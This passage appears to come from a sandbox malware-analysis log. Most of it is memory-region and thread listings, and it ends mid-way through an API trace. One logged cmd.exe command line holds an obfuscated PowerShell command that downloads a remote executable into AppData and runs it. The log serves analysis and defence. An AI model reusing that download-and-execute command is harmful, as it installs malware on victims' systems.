"svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 655 start_va = 0x7fef7f00000 end_va = 0x7fef7fd7fff entry_point = 0x7fef7f00000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 656 start_va = 0x7fef8040000 end_va = 0x7fef804bfff entry_point = 0x7fef8040000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 657 start_va = 0x7fef81b0000 end_va = 0x7fef81b7fff entry_point = 0x7fef81b0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 658 start_va = 0x7fef81c0000 end_va = 0x7fef8233fff entry_point = 0x7fef81c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 659 start_va = 0x7fef8bd0000 end_va = 0x7fef8bdffff entry_point = 0x7fef8bd0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 660 start_va = 0x7fef8be0000 end_va = 0x7fef8bf1fff entry_point = 0x7fef8be0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 661 start_va = 0x7fef98c0000 end_va = 0x7fef993bfff entry_point = 0x7fef98c0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 662 start_va = 0x7fef9c40000 end_va = 0x7fef9c58fff entry_point = 0x7fef9c40000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 663 start_va = 0x7fef9c60000 end_va = 0x7fef9cc3fff entry_point = 0x7fef9c60000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 664 start_va = 0x7fef9cd0000 end_va = 0x7fef9d40fff entry_point = 0x7fef9cd0000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 665 start_va = 0x7fefaf10000 end_va = 0x7fefaf27fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 666 start_va = 0x7fefaf30000 end_va = 0x7fefaf40fff entry_point = 0x7fefaf30000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 667 start_va = 0x7fefaf60000 end_va = 0x7fefafb2fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 668 start_va = 0x7fefb0a0000 end_va = 0x7fefb0a9fff entry_point = 0x7fefb0a0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 669 start_va = 0x7fefb0c0000 end_va = 0x7fefb0cafff entry_point = 0x7fefb0c0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 670 start_va = 0x7fefb0d0000 end_va = 0x7fefb0f6fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 671 start_va = 0x7fefb360000 end_va = 0x7fefb378fff entry_point = 0x7fefb360000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 672 start_va = 0x7fefb380000 end_va = 0x7fefb394fff entry_point = 0x7fefb380000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 673 start_va = 0x7fefb3b0000 end_va = 0x7fefb3bafff entry_point = 0x7fefb3b0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 674 start_va = 0x7fefb590000 end_va = 0x7fefb5a7fff entry_point = 0x7fefb590000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 675 start_va = 0x7fefbd10000 end_va = 0x7fefbd76fff entry_point = 0x7fefbd26060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 676 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 677 start_va = 0x7fefc1d0000 end_va = 0x7fefc1e4fff entry_point = 0x7fefc1d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 678 start_va = 0x7fefc7d0000 end_va = 0x7fefc7dbfff entry_point = 0x7fefc7d0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 679 start_va = 0x7fefc8a0000 end_va = 0x7fefc8a6fff entry_point = 0x7fefc8a0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 680 start_va = 0x7fefc990000 end_va = 0x7fefc9aafff entry_point = 0x7fefc990000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 681 start_va = 0x7fefc9b0000 end_va = 0x7fefc9cdfff entry_point = 0x7fefc9b0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 682 start_va = 0x7fefcbc0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbc0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 683 start_va = 0x7fefcce0000 end_va = 0x7fefcd3afff entry_point = 0x7fefcce0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 684 start_va = 0x7fefce50000 end_va = 0x7fefce56fff entry_point = 0x7fefce50000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 685 start_va = 0x7fefce60000 end_va = 0x7fefceb4fff entry_point = 0x7fefce60000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 686 start_va = 0x7fefcec0000 end_va = 0x7fefced6fff entry_point = 0x7fefcec0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 687 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd060000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 688 start_va = 0x7fefd490000 end_va = 0x7fefd49afff entry_point = 0x7fefd490000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 689 start_va = 0x7fefd4d0000 end_va = 0x7fefd4f4fff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 690 start_va = 0x7fefd500000 end_va = 0x7fefd590fff entry_point = 0x7fefd500000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 691 start_va = 0x7fefd5e0000 end_va = 0x7fefd5eefff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 692 start_va = 0x7fefd5f0000 end_va = 0x7fefd603fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 693 start_va = 0x7fefd610000 end_va = 0x7fefd61efff entry_point = 0x7fefd610000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 694 start_va = 0x7fefd970000 end_va = 0x7fefd9dafff entry_point = 0x7fefd970000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 695 start_va = 0x7fefdbc0000 end_va = 0x7fefdc58fff entry_point = 0x7fefdbc0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 696 start_va = 0x7fefdc60000 end_va = 0x7fefdc8dfff entry_point = 0x7fefdc60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 697 start_va = 0x7fefdd10000 end_va = 0x7fefde3cfff entry_point = 0x7fefdd10000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 698 start_va = 0x7fefdee0000 end_va = 0x7fefdf46fff entry_point = 0x7fefdee0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 699 start_va = 0x7fefdf50000 end_va = 0x7fefdfeefff entry_point = 0x7fefdf50000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 700 start_va = 0x7fefe070000 end_va = 0x7fefe272fff entry_point = 0x7fefe070000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 701 start_va = 0x7fefe280000 end_va = 0x7fefe287fff entry_point = 0x7fefe280000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 702 start_va = 0x7feff150000 end_va = 0x7feff226fff entry_point = 0x7feff150000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 703 start_va = 0x7feff230000 end_va = 0x7feff27cfff entry_point = 0x7feff230000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 704 start_va = 0x7feff280000 end_va = 0x7feff29efff entry_point = 0x7feff280000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 705 start_va = 0x7feff680000 end_va = 0x7feff75afff entry_point = 0x7feff680000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 706 start_va = 0x7feff760000 end_va = 0x7feff828fff entry_point = 0x7feff760000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 707 start_va = 0x7feff830000 end_va = 0x7feff83dfff entry_point = 0x7feff830000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 708 start_va = 0x7feff840000 end_va = 0x7feff8b0fff entry_point = 0x7feff840000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 709 start_va = 0x7feff8c0000 end_va = 0x7feff9c8fff entry_point = 0x7feff8c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 710 start_va = 0x7feff9e0000 end_va = 0x7feff9e0fff entry_point = 0x7feff9e0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 711 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 712 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 713 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 714 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 715 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 716 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 717 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 718 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 719 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 720 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 721 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 722 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 723 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 724 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 725 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 726 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 727 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 22 os_tid = 0x10c Thread: id = 23 os_tid = 0x74c Thread: id = 24 os_tid = 0x73c Thread: id = 25 os_tid = 0x72c Thread: id = 26 os_tid = 0x710 Thread: id = 27 os_tid = 0x704 Thread: id = 28 os_tid = 0x700 Thread: id = 29 os_tid = 0x5e0 Thread: id = 30 os_tid = 0x44c Thread: id = 31 os_tid = 0x440 Thread: id = 32 os_tid = 0x104 Thread: id = 33 os_tid = 0xdc Thread: id = 34 os_tid = 0x3d4 Thread: id = 35 os_tid = 0x3cc Thread: id = 36 os_tid = 0x3bc Thread: id = 37 os_tid = 0x3b0 Thread: id = 77 os_tid = 0xb50 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x76ef2000" os_pid = "0xa28" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9c0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" \"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 758 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 759 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 760 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 761 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 762 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 763 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 764 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 765 start_va = 0x4a8b0000 end_va = 0x4a8fbfff entry_point = 0x4a8b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 766 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 767 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 768 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 769 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 770 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 771 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 772 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 773 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 774 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 775 start_va = 0x2e0000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 776 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 777 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 778 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 779 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 780 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 781 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 782 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 783 start_va = 0x210000 end_va = 0x276fff entry_point = 0x210000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 784 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 785 start_va = 0x74dc0000 end_va = 0x74dc6fff entry_point = 0x74dc0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 786 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 787 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 788 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 789 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 790 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 791 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 792 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 793 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 794 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 795 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 796 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 797 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 798 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 799 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 800 start_va = 0x660000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 801 start_va = 0x670000 end_va = 0x7f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 802 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 803 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 804 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 805 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 806 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 807 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 808 start_va = 0x800000 end_va = 0x980fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 809 start_va = 0x990000 end_va = 0x1d8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 810 start_va = 0x1d90000 end_va = 0x20d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d90000" filename = "" Region: id = 811 start_va = 0x20e0000 end_va = 0x23aefff entry_point = 0x20e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 40 os_tid = 0xa2c [0046.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fa74 | out: lpSystemTimeAsFileTime=0x20fa74*(dwLowDateTime=0xd6e3aa40, dwHighDateTime=0x1d3468a)) [0046.141] GetCurrentProcessId () returned 0xa28 [0046.141] GetCurrentThreadId () returned 0xa2c [0046.141] GetTickCount () returned 0x136e7 [0046.141] QueryPerformanceCounter (in: lpPerformanceCount=0x20fa6c | out: lpPerformanceCount=0x20fa6c*=307427894) returned 1 [0046.144] GetModuleHandleA (lpModuleName=0x0) returned 0x4a8b0000 [0046.144] __set_app_type (_Type=0x1) [0046.144] __p__fmode () returned 0x756431f4 [0046.144] __p__commode () returned 0x756431fc [0046.144] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8d21a6) returned 0x0 [0046.145] __getmainargs (in: 